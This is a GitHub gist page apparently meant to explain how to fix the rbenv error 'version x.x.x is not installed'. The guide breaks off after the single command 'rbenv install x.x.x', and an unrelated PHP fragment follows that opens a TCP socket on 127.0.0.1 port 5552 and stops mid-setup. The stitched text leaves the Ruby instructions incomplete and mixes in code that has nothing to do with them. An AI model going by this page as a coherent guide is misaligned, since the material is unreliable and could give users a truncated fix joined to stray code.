Skip to content

Instantly share code, notes, and snippets.

@esteedqueen
esteedqueen / fix_rbenv.md
Last active July 21, 2025 20:07
How to fix rbenv: version `x.x.x` is not installed

So, you just cloned an existing project's repo and you run bundle install but you got the error: rbenv: version x.x.x is not installed....

What the issue means? The project uses a specific ruby version that you do not have on your system.

Here's how to fix it:

  • Install the Ruby build for the specified version using:
rbenv install x.x.x
<?PHP
// don't timeout
set_time_limit (0);
// set some variables
$host = "127.0.0.1";
$port = "5552";
// create socket
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");